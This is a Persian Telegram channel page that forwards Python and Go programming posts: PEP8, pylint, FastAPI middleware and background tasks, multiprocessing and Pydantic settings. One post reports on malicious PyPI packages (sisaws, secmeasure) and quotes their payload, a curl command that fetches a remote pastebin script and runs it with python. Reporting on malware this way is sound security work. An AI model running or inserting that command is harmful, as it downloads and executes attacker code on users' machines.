Dev Perfects
40 subscribers
9.23K photos
1.26K videos
468 files
13K links
بخوام خیلی خلاصه بگم
این کانال میاد مطالب کانالای خفن تو حوزه تکنولوژی و برنامه نویسی رو جمع میکنه

پست پین رو بخونید
https://t.iss.one/dev_perfects/455


ارتباط:
https://t.iss.one/HidenChat_Bot?start=936082426
Download Telegram
Forwarded from Ninja Learn | نینجا لرن (Denver)
🟡 خب خب خب، PEP8: قوانین طلایی برای کدنویسی پایتون
وقتی به برنامه‌نویسی پایتون علاقه‌مند می‌شید، یکی از اولین چیزهایی که باید یاد بگیرید PEP8 هست. این یه استاندارد رسمی برای کدنویسی به زبان پایتونه که توسط Python Software Foundation منتشر شده و هدفش اینه که کدهای پایتون هماهنگ، خوانا و استاندارد باشن. با این استاندارد کد های همه برنامه های پایتون توی مسائل پایه ای استایل کد مثل هم میشه و خوندن و درک کد های مختلف هم ساده تر میشه. توی این پست می‌خوایم توضیح بدیم که PEP8 چیه، چرا مهمه و چندتا از مهم‌ترین قواعدش رو بررسی کنیم.

PEP8 چی هست؟
‏PEP8 یه استاندارد شامل یه سری دستورالعمل ها و قوانین برای نوشتن کد منظم و تمیز پایتونه. این استاندارد برای کمک به برنامه نویس ها تنظیم شده تا کدی بنویسن که هم برای خودشون هم برای دیگران قابل فهم باشه. دستورااعمل های این استاندارد شامل اصولی درمورد قواعد نام گذاری، استایل کد، تو رفتگی ها و ... میشه.

چرا باید از PEP8 استفاده کنیم؟
خوانایی بیشتر: کد هایی که طبق استاندارد های خاصی نوشته میشن، برای دیگران راحت تر قابل فهم هستن.
نگهداری ساده تر: کد استادارد به راحتی قابل تغییر و گسترشه.
هماهنگی بین تیم ها: وقتی همه از یک استاندارد پیروی کنن، حتی اگه جند نفر هم روی یک پروژه کار کنن کار کردن با کد ها خیلی راحت تر میشه

اصول کلیدی PEP8
1️⃣ قواعد نام گذاری(Naming Conventions)
نام گذاری درست متغیر ها، توابع، کلاس ها و ماژول ها باعث میشه کد شما خوانا و قابل فهم باشه.

نام متغیر ها و توابع: از snake_case استفاده کنید.
my_variable = 10
def my_function():
pass

نام کلاس ها: باید از CapCase استفاده کنید
class UserProfile:
pass

نام ماژول ها: میشه از lowercase استفاده کنید و برای جدا کردن کلمات از خط تیره (-) نکنید
import mymodule
import user_routers


2️⃣ چیدمان کد(Code Layout)
چیدمان منظم کد برای راحتی خوندن و نگهداری کد ها ضروریه
طول خط ها:‌ طول خط ها توی پایتون نباید بیشتر از ۷۹ کاراکتر باشه. این باعث میشه که کد های توی ابزارهای مختلف(مثل کامند git diff) و ترمینال راحت تر دیده بشن.
فاصله های خالی: بعد از کاما و آرگومان ها یک فاصله بگذارین:
print("This code is too long and does not follow the standard. It cannot be read. properly in some tools like 'git diff'. This line should be broken into. multiple lines to follow the standard. The maximum length for a line is 79 characters.")

def my_function(x, y):
return x + y


3️⃣ تو رفتگی(Indentation)
تو رفتگی ها برای نمایش ساختار کد و مشخص کردن بلوک های کد استفاده میشن.
از ۴ فضای خالی برای هر سطح تو رفتگی استفاده کنید.
class MyMath:
def my_function(self, x):
if x > 0:
print("Positive")
else:
print("Negative")


5️⃣ فضای خالی در عبارات و دستورات (Whitespaces in Expressions and Statements)

فضای خالی در عبارات و دستورات به خوانایی کد کمک می‌کنه:
قبل و بعد از اپراتورهای ریاضی فاصله بگذارید:
x = 5 + 3

در داخل پرانتزها فاصله نگذارید:
my_function(1, 2, 3)

فاصله هارو فقط قبل از هر کاما بذارید:
a, b, c = 1, 2, 3


چجوری همیشه این قواعد رو رعایت کنیم؟
خب یه راه آسونش میتونه استفاده از ابزار هایی مثل pylint و flake8 باشه. اما یه راه راحت تر، اگه از IDE هایی مثل Pycharm استفاده میکنید خودشون وقتی که کد غیر استاندارد بنویسید بهتون میگن و بییشتر مواقع خودشون کد رو درست میکنن. اگه از VSCode یا هر ادیتور دیگه ای استفاده میکنید میتونید افزونه ی مربوط به این استاندارد رو روش نصب و استفاده کنید.

جمع بندی✍️
‏PEP8 به شما کمک میکنه که کد پایتون تمیز، خوانا و استاندارد بنویسید. رعایت قواعدی مثل نام گذاری درست، استفاده مناسب از فاصله ها و تو رفتگی ها باعث میشه کد شما به راحتی قابل نگهداری و درک باشه.

#️⃣ #programming #python


🥷🏻 CHANNEL | GROUP
Forwarded from 🎄 یک برنامه نویس تنبل (The Lazy 🌱)
🔶 یه سیستم ترجمه PDF با زبان پایتون با استفاده از وب آپ Streamlit نوشتیم که می تواند با مدل های هوش مصنوعی Huggingface به هر زبانی ترجمه کند.

شما می توانید هر مدل هوش مصنوعی توی سیستم ترجمه بکار بگیرید اما باید برای استفاده از آن باید Huggingface را شارژ کنید.

گیت هاب :

https://github.com/Rayiumir/DeepLingua

#python

@TheRaymondDev
Forwarded from Ninja Learn | نینجا لرن (Denver)
خب خب خب،‌ معرفی Pylint🏛️
اگه با پایتون کار میکنین و میخواین کدتون تمیز باشه، حتما باید با ابزارهایی مثل pylint اشنایی داشته باشین. این ابزار ها میان یک سری قوانین و قواعد ثابت رو براتون تعریف میکنن و بررسی میکنن که توی کدتون این قواعد رعایت شده یا نه.

‏Pylint چیه؟🤔
‏pylint به ابزار linter برای زبان پایتونه که کد رو بررسی میکنه، اشتباهات رایج رو گزارش میده، با استاندارد های PEP8 ارزیابیش میکنه و در نهایت یه امتیاز (از ۰ تا ۱۰) به کدی که نوشتین میده. این ابزار باعث میشه کد هاتون استاندارد و قابل توسعه باشن و میتونه توی رعایت کردن اصول PEP8 بهتون کمک کنه.

معجزه توی هماهنگی تیمی
وقتی توی یه تیم فعالیت میکنین و مشغول به کار هستین، قطعا همه یه استایل خاصی برای کدنویسیشون دارن. اینجاست که pylint و فایل کانفیگش میتونن هماهنگی رو به تیمتون بیارن و باعث یک پارچگی کد میشن و در نتیجه باعث میشه خوندن کد ساده تر باشه.

نصب و استفاده🚀
میتونید با دستور زیر این ابزار رو نصب کنید.
pip install pylint

اجرا روی یه فایل
pylint main.py

یا روی یه پروژه ی کامل
pylint myproject/

خب حتما بعد اجرا متوجه شدین که دیگه خیلی داره سخت میگیره یا اینکه میخواین تنظیمات و استایل خودتون رو بهش بدین، میتونین با استفاده از فلگ های دستور pylint این کار رو انجام بدین. به طور مثال خاموش کردن بعضی اخطار ها:
pylint myfile.py --disable=missing-docstring,invalid-name,too-many-arguments --max-line-length=100


کانفیگ Pylint🛠️
خب تایپ و استفاده از دستور قبلی با یه سری شخصی سازی های دیگه خیلی سخت میشه و تا مرز غیرقابل استفاده بودن میرسه، اینجاست که میتونین از فایل کانفیگ استفاده کنین. استفاده از فایل کانفیگ خیلی مرتب تر و تیم پسند تره.
فایل کانفیگ رو با این دستور ایجاد کنین:
pylint --generate-rcfile > .pylintrc

و بعد میتونید طبق استایل کدنویسی خودتون یا استایل مدنظر تیمتون کانفیگ هارو تغییر بدین:
[MESSAGES CONTROL] # disable selected warnings
disable=
missing-docstring,
# no docstring warning
invalid-name,
# allow any names
too-few-public-methods,
# allow few methods
too-many-arguments
# allow many args

[FORMAT] # formatting rules
max-line-length=100
# max line length

میتونین با مراجعه به صفحه کانفیگ ها از داکیومنت رسمی pylint کانفیگ های بیشتری رو ببینین.

جمع بندی✍️
با استفاده از این ابزار میتونین هماهنگی بی نظیری توی کدهاتون ایجاد کنید و اگه توی تیم کار میکنین باعث میشه کل تیم یک سری قواعد و اصول یکپارچه رو رعایت کنن و کد کلی ساختار مشخصی داشته باشه.🏗️ میتونین Pylint رو به IDE ای که استفاده میکنین اضافه کنین تا استفاده ازش ساده تر بشه.

#️⃣ #programming #python


🥷🏻 CHANNEL | GROUP
Forwarded from Ninja Learn | نینجا لرن (Denver)
خب خب خب، ‏Middleware های FastAPI🚀
خب middleware یه کد واسط بین دریافت درخواست و پاسخ دادن توی یه اپلیکیشن وبه. یعنی هر ریکوئستی که به سرور میرسه، قبل از رسیدن به route اصلی، از middleware رد میشه و همچنین هر درخواستی هم قبل از رسیدن به کلاینت از middleware عبور میکنه تا تغییر داده بشه، لاگ بشه و ...

چطور توی FastAPI ازشون استفاده کنیم؟🤔
‌‏Middleware ها توی FastAPI با دکوریتور app.middleware تعریف میشن و معمولا ساختارشون این شکلیه:
from fastapi import FastAPI, Request

app = FastAPI()

@app.middleware("http")
async def my_middleware(request: Request, call_next):
# Before reaching route
print("Before route")

# Executing View
response = await call_next(request)

# After view did its thing
print("After route")

return response

همونطور که توی مثال بالا دیدید، هر کدی که قبل از اجرای call_next باشه مربوط به درخواست، و هر کدی که بعد از اجرای call_next نوشته بشه مربوط به پاسخ میشه.
توی این مثال قبل از رسیدن درخواست به route اصلی، عبارت 'Before route' چاپ میشه و بعد اینکه route پردازشش با درخواست تموم شد و پاسخ آماده ی برگشت به کلاینت بود، عبارت 'After route' چاپ میشه و بعد از اون پاسخ به کلاینت میرسه.


چندتا مثال ساده برای درک کاربرداش🛠️
از چندتا مثال ساده میتونیم استفاده کنیم
لاگ گیری ساده درخواست ها:
@app.middleware("http")
async def log_requests(request: Request, call_next):
print(f"New request: {request.iss.onethod} {request.url}")
response = await call_next(request)
return response


اضافه کردن Header به پاسخ:
@app.middleware("http")
async def add_custom_header(request: Request, call_next):
response = await call_next(request)
response.headers["X-App-Version"] = "1.0.0"
return response


سنجش مدت زمان اجرای درخواست:
import time

@app.middleware("http")
async def measure_time(request: Request, call_next):
start = time.time()
response = await call_next(request)
duration = time.time() - start
response.headers["X-Process-Time"] = str(duration)
return response


چندتا نکته📎
1️⃣کلاس Middleware که از FastAPI ایمپورت شده درواقع همون کلاس Middleware توی Starlette هست و برای راحتی میتونیم از FastAPI ایمپورتش کنیم.

2️⃣اگه dependency ای داشته باشیم که با yield تعریف شدن، بخش خرجی اون ها بعد از اجرای middleware اجرا میشه.

3️⃣اگه BackgrounTask ای وجود داشته باشه، اون ها بعد از اجرای همه ی middleware ها اجرا میشن.

جمع بندی✍️
با استفاده از middleware ها میتونید درخواست و پاسخ هارو تمیز کنید، یا قبل از پردازش شدنشون توسط route کارایی که میخواین رو انجام بدین. درواقع با تعریف middleware یه تابع بین client و route اصلی قرار میدیم.

#️⃣ #fastapi #python #backend


🥷🏻 CHANNEL | GROUP
⁉️ روی سرور یا توی Terminal یک فایل Jupyter از پسوندهای ipynb بخواهید بخوانید 🤔

یک چیزی مثل cat از چی استفاده میکنید ؟
🔥 افرین nbcat

برای نصب و اجرا
pip install nbcat
nbcat example.ipynb


ژوپیتر نوت بوک (Jupyter Notebook) پایتون یک برنامه وب است که میتونید کد بنویسید و اجرا کنید
در فایل های ژوپیتر کد و خروجی هر دوتاشون کنار هم نمایش داده میشن

@MehrdadLinuxchannel
#linux #python
Forwarded from Ninja Learn | نینجا لرن (Denver)
خب خب خب، تسک های CPU Bound🔧
احتمالا CPU Bound به گوشتون خورده، همون تسک هایی که بار پردازشی سنگینی دارن. یعنی دیگه منتظر عملیات I/O(خوندن از فایل یا دیتابیس، API خارجی و...) نیستن و عملا انجام شدنشون توسط CPU طول میکشه.

‏CPU Bound
🧮
خب وقتی که به صورت عادی برناممون رو توسعه میدیم، برنامه ی ما فقط توی یک Process و یک هسته ی CPU اجرا میشه. اگه برنامه کار سنگینی مثل پردازش تصویر، محاسبات ریاضی فوق سنگین، الگوریتم های رمزنگاری و فشرده سازی و... داشته باشه، نتیجه اجرا شدنش توی یک Process چیزی بجز کندی و فشار روی CPU نیست. برای مثال شما یه CPU با ۸ هسته دارید ولی برنامه ای که نوشتید فقط روی یک هسته اجرا میشه.
توی این موقعیت میتونیم از Multi Processing استفاده کنیم.

‏Multi Processing یعنی چی؟
🧐
میتونیم با استفاده از Multi Processing برنامه ای که نوشتیم رو توی چند Process و روی چند هسته اجرا کنیم. اینجوری از تمام توان CPU استفاده میشه و در نتیجه هم برنامه ما سریع تر میشه و هم فشار روی هسته های CPU تقسیم میشه.

چرا Multi Threading مناسب نیست؟
💈
توی پایتون برای تسک های CPU ‌‌‌Bound نمیتونیم از Multi Threading استفاده کنیم. چون پایتون یه چیزی به اسم GIL داره که باعث میشه فقط یک Thread بتونه در لحظه اجرا بشه.
یعنی اگه برای تسک های CPU Bound ازش استفاده کنیم در عمل فقط یک Thread داره واقعا اجرا میشه.

استفاده از Multi Processing
🛠
با استفاده از ماژول multiprocessing میتونیم از محدودیت GIL عبور کنیم و چند process داشته باشیم.
یه مثال ساده:
from multiprocessing import Process

def cpu_bound_task():
# مثلاً محاسبه‌ی یک عدد بزرگ
total = 0
for i in range(10**7):
total += i
print(total)

if __name__ == '__main__':
processes = []
for _ in range(4):
p = Process(target=cpu_bound_task)
p.start()
processes.append(p)

for p in processes:
p.join()

این کد تابع cpu_bound_task رو همزمان توی ۴ تا process اجرا میکنه. هر process حافظه، thread و هسته ی CPU خودش رو داره. با اینکار میتونیم واقعا تسک های CPU Bound رو موازی اجرا کنیم و از مزایایی مثل سرعت بهتر بهره مند شیم.
اگه پروژتون بزرگه بهتره تسک های سنگین رو به سیستم هایی مثل Celery بسپرین و از worker های process-based استفاده کنید.

جمع بندی✍️
در نهایت، وقتی با برنامه‌ای سروکار داریم که CPU-bound هست، خیلی مهمه که درست تشخیص بدیم چه راه‌حلی برای بهینه‌سازی استفاده از منابع لازم داریم. توی پایتون، وقتی از multi threading استفاده می‌کنیم، به دلیل محدودیت GIL، همه‌ی پردازش‌ها روی یه هسته و یه thread اجرا می‌شن.
برای این‌که بتونیم از چند هسته‌ی CPU استفاده کنیم و پردازش‌های سنگین رو سریع‌تر انجام بدیم، باید از multi processing بهره بگیریم. با این روش، می‌تونیم هر بخش از برنامه رو به یک process جداگانه اختصاص بدیم که به طور مستقل و هم‌زمان روی هسته‌های مختلف CPU اجرا بشه.

#️⃣ #programmin #python


🥷🏻 CHANNEL | GROUP
Forwarded from Ninja Learn | نینجا لرن (Denver)
خب خب خب، ‏Background Task ها توی FastAPI🚀
گاهی اوقات نیاز داریم که یه کاری بعد از ارسال پاسخ به کاربر انجام بشه. مثل ارسال ایمیل خوشامد گویی، ثبت لاگ یا آمار توی دیتابیس، پردازش فایل آپلود شده و .... توی این شرایط میتونیم از Background Task ها استفاده کنیم، اینجوری میتونیم بدون معطل کردن کاربر اون کارهارو جداگانه انجام بدیم.

استفاده از Background Task ها🛠
خب اول باید کلاس BackgroundTasks رو ایمپورت کنیم و یه پارامتر از همین نوع برای فانکشن route بنویسیم.
from fastapi import BackgroundTasks, FastAPI

app = FastAPI()


def write_notification(email: str, message=""):
with open("log.txt", mode="w") as email_file:
content = f"notification for {email}: {message}"
email_file.write(content)


@app.post("/send-notification/{email}")
async def send_notification(email: str, background_tasks: BackgroundTasks):
background_tasks.add_task(write_notification, email, message="some notification")
return {"message": "Notification sent in the background"}

حالا FastAPI میاد یه آبجکت با نوع BackgroundTasks برامون ایجاد میکنه و به اون پارامتر پاس میده.
بعد از اینکه فانکشن تسکمون رو ایجاد کردیم میتونیم با استفاده از متود ()add_task از همون پارامتر اون فانکشن رو به صف اجرا اضافه کنیم. همچنین میتونیم آرگومان های مورد نیازمون رو هم با استفاده از همین متود به تسکمون پاس بدیم.

‏Background Tasks و Dependency injection💉
‏Background Tasks به خوبی با سیستم تزریق وابستگی FastAPI سازگاره. میتونیم توی سطح های مختلف برنامه(فانکشن route، یه وابستگی و...) از Background Task استفاده کنیم.
from typing import Annotated

from fastapi import BackgroundTasks, Depends, FastAPI

app = FastAPI()


def write_log(message: str):
with open("log.txt", mode="a") as log:
log.write(message)


def get_query(background_tasks: BackgroundTasks, q: str | None = None):
if q:
message = f"found query: {q}\n"
background_tasks.add_task(write_log, message)
return q


@app.post("/send-notification/{email}")
async def send_notification(
email: str, background_tasks: BackgroundTasks, q: Annotated[str, Depends(get_query)]
):
message = f"message to {email}\n"
background_tasks.add_task(write_log, message)
return {"message": "Message sent"}

توی این مثال بعد از اینکه پاسخ به کلاینت ارسال شد، یه تسک میاد ایمیل کاربر رو توی فایل log.txt مینویسه. اگه یه کوئری پارامتر هم به API ارسال بشه یه تسک دیگه اون رو هم توی فایل مینویسه.

نکته مهم⚠️
این ابزار فقط برای کارهای سبک وسریع مناسبه. مثل همین لاگ نوشتن، ارسال ایمیل یا پردازش های خیلی کوچیک و سبک. برای کارهای سنگین تر مثل پردازش تصویر بهتره که از سیستم هایی مثل Celery استفاده بشه.

جمع بندی✍️
‏Background Task یه ابزار ساده ولی کاربردیه. میتونه توی پروژه هایی که تسک های سنگینی ندارن از Celery بی نیازتون کنه و کارهارو بعد از پاسخ دهی به صورت غیرهمزمان انجام بده.

#️⃣ #fastapi #python #backend


🥷🏻 CHANNEL | GROUP
🎉 نسخه جدید MicroPython منتشر شد!

🧠 ‏MicroPython چیه؟
یه نسخه سبک از زبان پایتونه که برای اجرا روی سخت‌افزارهای کوچیک طراحی شده؛ مثل بردهای ESP32 یا Raspberry Pi Pico.


یعنی چی؟ یعنی باهاش می‌تونی وسایل واقعی رو با پایتون کنترل کنی! مثلاً:
💡 روشن و خاموش کردن LED
🌡 خوندن دمای محیط
📶 اتصال به وای‌فای
🕹 ساخت گجت‌های هوشمند

🔥در نسخه جدیدش (v1.25):
سرعت بهتر
سیستم فایل فقط‌خواندنی برای اجرای سریع‌تر
پشتیبانی از WebAssembly (اجرای MicroPython توی مرورگر!)
و کلی قابلیت دیگه برای آینده اینترنت اشیاء...

📌 اگه به پایتون، سخت‌افزار، IoT یا ساخت ابزارهای باحال علاقه‌داری، MicroPython یه دنیای هیجان‌انگیز برات باز می‌کنه.

🌐 سایت رسمی
🔖 گیت‌هاب نسخه جدید
@MehrdadLinuxchannel
#python
https://youtu.be/ZzgdvaAZKek

خب راستش من خودم هم به اندازه کافی و وافی نوب هستم ولی چیزی که همیشه برای من نتیجه داده این بوده که چیزایی که یاد گرفتم رو وقتی به بقیه یاد دادم بهتر یاد گرفتم
این هم یکی از اون چیزاییه که میخوام که خیلی خوب یادش بگیرم پس تمام تلاشم رو میکنم که این دوره رو تا آخرش پیش ببرم
امیدوارم که براتون سودمند باشه

https://youtu.be/ZzgdvaAZKek

لایک و کامنت یادتون نره
و حتما لینک رو بفرستید برای کسی که فکر میکنید اون هم به دردش میخوره این ویدیو

نکته ی مهم : حتما حتما اگر اشکالی دیدید بهم بگید، خوشحال میشم که بتونم مشکلاتم رو رفع کنم

https://youtu.be/ZzgdvaAZKek


#جنگو_بدون_درد_و_خونریزی

@PhiloLearn
Forwarded from Ninja Learn | نینجا لرن (Denver)
خب خب خب، مدیریت تنظیمات با Pydantic⚙️
احتمالا اسم Pydantic به گوشتون خورده یا توی پروژه هاتون ازش استفاده کردین. ولی برای مدیریت تنظیمات پروژه از چی استفاده کردین؟ Pydantic یه کلاس به اسم BaseSettings ارائه میده که برای مدیریت تنظیمات برنامه از جمله متغیر های محیطی و پیش فرض ها استفاده میشه.

چرا از BaseSettings استفاده کنیم؟
🧐
1️⃣ خواندن خودکار متغیر های محیطی:
با استفاده از BaseSettigns بدون نیاز به کتابخونه های اضافی مثل python-dotenv میتونیم به متغیر های محیطی دسترسی داشته باشیم.

2️⃣ اعتبارسنجی امن و خودکار متغیر ها:
‏Pydantic به صورت خودکار تایپ هارو چک میکنه و دیگه نیازی به type cast دستی نیست.

3️⃣ پشتیبانی ساده از چند محیط:
با یکم خلاقیت می‌تونیم چندین کلاس تنظیمات برای محیط‌های مختلف مثل Dev, Prod و Test بسازیم.

4️⃣ مناسب برای پروژه‌های بزرگ:
میشه همه‌ی تنظیمات پروژه مثل دیتابیس، کلیدهای API، حالت دیباگ و... رو توی یک کلاس متمرکز نگهداری کرد و راحت تو کل پروژه استفاده‌شون کرد.

ساختار پایه ی کلاس تنظیمات
🔧
قبل از هر کاری مطمئن بشید که pydantic و پکیج pydantic-settings نصب باشن:
pip install pydantic pydantic-settings

و بعد میتونید با تعریف کلاس و تنظیماتی که نیاز دارین اونارو مدیریت کنین.
from pydantic import Field
from pydantic_settings import BaseSettings, SettingsConfigDict

class Settings(BaseSettings):
model_config = SettingsConfigDict(
env_file='.env', # env file location
)
debug: bool = True
database_url: str
secret_key: str

این یعنی:
مقدار debug به طور پیش فرض True هست و بقیه مقادیر باید توی فایل env. یا محیط سیستم تعریف بشن، در غیر این صورت ارور میگیریم. نکته جالب اینه که Pydantic از type cast خودکار پشتیبانی میکنه، مثلا اینجا مقدار "True" توی محیط رو به bool تبدیل میکنه.
و فایل env. باید به این شکل باشه:
DATABASE_URL=postgresql://user:pass@localhost/dbname
SECRET_KEY=s3cr3t-k3y


نحوه ی استفاده از تنظیمات
🛠
میتونیم یه نمونه از کلاس تنظیمات بسازیم و بعد با استفاده از اتریبیوت ها به تنظیمات دسترسی پیدا کنیم:
settings = Settings()
print(settings.database_url)
print(settings.debug)


جمع بندی
✍️
کلاس BaseSettings یکی از ابزارهای بسیار مهم و کاربردی در Pydantic هست که به شما اجازه می‌ده تنظیمات پروژه رو به شکل متمرکز، امن، قابل تست و قابل توسعه مدیریت کنین.
توی پروژه‌های بزرگ یا اپلیکیشن‌هایی که چند محیط (مثل dev، test و prod) دارن، استفاده از این ساختار کمک می‌کنه کد تمیزتر و حرفه‌ای‌تری داشته باشین.

#️⃣ #programming #python


🥷🏻 CHANNEL | GROUP
Forwarded from Programming Notes
✺ OpenSource Spotlight: «torrra»

A Python tool that lets you find and download torrents without leaving your CLI.

github.com/stabldev/torrra

@remvze // #opensource #python #torrent
Forwarded from Syntax | سینتکس (Sovren)
فایل آپلود شده رو فقط با پسوندش چک می‌کنی؟ بیخیال!

تاحالا شده کاربر فایلی رو آپلود کنه و شما فقط پسوندش ( jpg یا pdf) رو چک کنید و با خوشحالی بگید کار تمومه؟ اگه اینطوره، باید بگم که یه جای کار حسابی می‌لنگه!

کاربر به راحتی می‌تونه یک فایل مخرب (مثلاً یه اسکریپت) رو به virus.png تغییر نام بده و سیستم شما رو دور بزنه.

راه حل چیه؟ کتابخونه python-magic

این پکیج یک رابط (Wrapper) برای کتابخونه قدرتمند libmagic در زبان C هست. کار اصلیش اینه که بیخیال اسم و پسوند فایل بشه و بره سراغ اصل مطلب محتوای خود فایل.

مجیک چند بایت اول یک فایل (که بهش هدر یا Magic Numbers می‌گن) رو می‌خونه و از روی اون امضای دیجیتالی، نوع واقعی فایل رو تشخیص می‌ده.

مثال:
import magic
from django.core.files.uploadedfile import InMemoryUploadedFile

def get_mime_type_from_content(file: InMemoryUploadedFile) -> str:
"""Reads the initial bytes of a file to determine its actual MIME type."""
try:
initial_bytes = file.read(2048)
file.seek(0)
return magic.from_buffer(initial_bytes, mime=True)
except Exception as err:
raise Exception(f"Failed to detect MIME type: {err}")

def check_file_is_image(file: InMemoryUploadedFile) -> bool:
"""Check if the uploaded file is an image based on its MIME type."""
try:
mime_type = get_mime_type_from_content(file)
return mime_type.startswith("image/")
except Exception as err:
print(f"[ERROR] check_file_is_image: {err}")
return False


#libmagic #python_magic

@Syntax_fa
#python

ابزار PySnooper — ابزار پایتونی برای trace کردن اجرای کد: هر خط اجراشده و تغییر متغیرهای محلی رو لاگ می‌کنه؛ مثل گذاشتنِ print روی هر خط ولی خودکار و قوی‌تر. خروجی به stderr یا فایل می‌ره و می‌تونی متغیر/عباراتی رو watch کنی.

https://github.com/cool-RR/PySnooper

@DevTwitter | <Nimo/>
Forwarded from Gopher Academy
🔵 عنوان مقاله
the top 'programming languages' in 2025

🟢 خلاصه مقاله:
فهرست برترین زبان‌های برنامه‌نویسی در 2025 نشان می‌دهد کجا واقعاً نرم‌افزار ساخته و نگه‌داری می‌شود؛ معیارهایی مثل میزان استفاده، تقاضای شغلی، بلوغ اکوسیستم، عملکرد و ابزارها در نظر گرفته شده است. زبان‌های جاافتاده مثل Python، JavaScript/TypeScript، Java و C# همچنان ستون‌های اصلی‌اند؛ C/C++ برای کارهای کم‌تأخیر و سیستم‌ها و SQL برای داده ضروری‌اند، و رشد Rust بر اهمیت ایمنی و کارایی تاکید دارد؛ Kotlin و Swift نیز در موبایل قدرتمند مانده‌اند. در این میان، Go در رتبه ۱۰ قرار گرفته چون سادگی، کامپایل سریع، هم‌روندی با goroutine و channel و باینری‌های مستقل را با پذیرش گسترده در فضای cloud‑native ترکیب می‌کند؛ پروژه‌هایی مثل Docker و Kubernetes نقش آن را در زیرساخت نشان می‌دهند. جمع‌بندی: 2025 ترکیبی از ثبات و نوآوری است و انتخاب زبان باید بر اساس مسئله، مهارت تیم و نگه‌داشت بلندمدت باشد—اغلب در چارچوبی چندزبانه و عمل‌گرایانه.

#ProgrammingLanguages #GoLang #Trends2025 #SoftwareEngineering #CloudNative #Developers #Rust #Python

🟣لینک مقاله:
https://golangweekly.com/link/174641/web


👑 @gopher_academy
تا حالا کلی مطالب خفن و کاربردی تو کانال NinjaLearn براتون آماده کردیم و الان صدها مطلب مختلف و جذاب داریم.

از اونجایی که مطالب کانال خیلی متنوع و زیاد شده، تصمیم گرفتیم یه دسته‌بندی مرتب و منظم برای همه‌ی پست‌ها داشته باشیم تا شما عزیزان راحت‌تر بتونید محتوای مورد نظرتون رو پیدا کنید

این شما و این لیست دسته‌بندی‌های کانال🔻:

🦫 #go: آموزش‌ها و نکات کاربردی زبان گو

💻 #programming: مطالب برنامه نویسی

🐍 #python: ترفندها و نکات پایتونی

🦄 #django: مطالب فریم‌ورک جنگو

⚡️ #fastapi: مطالب فریم ورک فست

🌐 #web: مطالب مرتبط به وب

📡 #network: مطالب مرتبط به شبکه

🗂️ #db: معرفی و نکات دیتابیس

🔖 #reference: معرفی مقاله و ویدیو

📢 #notif: اطلاع رسانی ها

#question: سوالات جالب در برنامه نویسی

🎊 #event: رویداد هایی که معرفی کردیم

🎬 #movie: معرفی فیلم و سریال

📚 #book: معرفی کتاب‌های تخصصی

🤖 #AI: مطالب مرتبط به هوش مصنوعی

📊 #ml: مطالب مرتبط به یادگیری ماشین

🛠️ #backend: آموزش‌ها و ترفندهای بک‌اند

🔒 #security: نکات امنیتی

#devops: مطالب مرتبط به دواپس

📺 #YouTube: ویدیوهای چنل یوتیوب ما

🌏 #geo: تکنولوژی های جغرافیایی


هر کدوم از این هشتگ‌ها برای یه موضوع خاص طراحی شده تا شما به راحتی بتونید محتوای مورد نظرتون رو پیدا کنید. دیگه لازم نیست کلی تو کانال بگردید 😊

اگه موضوع جدیدی به مطالب کانال اضافه بشه، حتماً تو این لیست قرار می‌گیره


راستی میتونید بنر کانال رو برای دوستاتون هم بفرستید تا اونا هم به جمع ما بپیوندن و از این مطالب مفید استفاده کنن 😉

NinjaLearn Banner 🥷🤝


#category



🔆 CHANNEL | GROUP
پایتون ۳.۱۴ هم بلاخره اومد. ولی چه چیز های جدیدی داره؟؟ لینک


#Python #پایتون #Python314 #کدنویسی #برنامه‌نویسی


@PhiloLearn
Forwarded from Gopher Academy
🔵 عنوان مقاله
Constraining LLMs with Structured Output in Python and Go

🟢 خلاصه مقاله:
**این مجموعه به روش‌های عملی برای واداشتن LLMها به تولید خروجی ساخت‌یافته می‌پردازد تا ادغام در سیستم‌های تولیدی قابل اعتماد، قابل اعتبارسنجی و قابل آزمون باشد. در Python با تعریف شِماهای سازگار با JSON و اتصال خروجی مدل به انواع مشخص، و در Go با استفاده از structهای نوع‌دار، struct tagها، و خطاهای صریح، خطر خروجی متنی آزاد و شکننده کاهش می‌یابد.

همچنین یک ویدئو از Rost Glukhov ساخت یک عامل کدنویس در Go را از ابتدا نشان می‌دهد؛ از طراحی پرامپت و برنامه‌ریزی تا اجرای ابزار و حلقه بازخورد. در بخش کارهای زمان‌بندی انبوه، مقاله Bill Kennedy توضیح می‌دهد چگونه Timing Wheels بدون پیمایش O(n) می‌توانند میلیون‌ها کلید را منقضی کنند—الگویی مفید برای زمان‌بندی‌کننده‌ها، کش‌ها و محدودکننده‌های نرخ در Go. برای درک عمیق‌تر همروندی، نوشتار Ankur Anand رفتار و انتخاب‌های درست پیرامون primitives بسته sync مانند Mutex، RWMutex، WaitGroup و Cond را تشریح می‌کند. در پایان، مطلبی از Matheus Mina این مجموعه را کامل می‌کند. حاصل کار، جعبه‌ابزاری عملی برای ساخت عامل‌ها و سرویس‌های پربازده در Python و Go است.

#Go #Python #LLM #StructuredOutput #TimingWheels #Concurrency #Golang #Agents

🟣لینک مقاله:
https://golangweekly.com/link/175364/web


👑 @gopher_academy
Forwarded from Code Verse
دوتا کتابخونه sisaws و secmeasure که هکر‌ها داخل PyPi گذاشته بودن. توضیحات بیشتر KALI

یکم گشتم داخل سایت Zscaler Blog توضیح داد که کتابخونه مورد نظر یه کد رو اجرا میکرد

If a developer imports the sisaws package and invokes the gen_token function, the code will decode a hexadecimal string that reveals a curl command, which is then used to fetch an additional Python script, as shown below.

curl -sL https://pastebin.com/raw/jaH2uRE1 -o %TEMP%\\helper.py && python %TEMP%\\helper.py

نکته:‌به هیچ‌وجه کد رو اجرا نکنید، بنده هیچ مسئولیتی قبول نمیکنم.
حالا کدی که این دستور curl دانلود میکرد رو از همین لینک گرفتم.

کدهای دانلود شده داخل pdf زیر به صورت آموزشی توضیح داده میشن.

#python #malware #code_analysis

🌌 @the_code_Verse 🪐
Forwarded from Gopher Academy
🔵 عنوان مقاله
Google's Agent Development Kit (ADK) for Go

🟢 خلاصه مقاله:
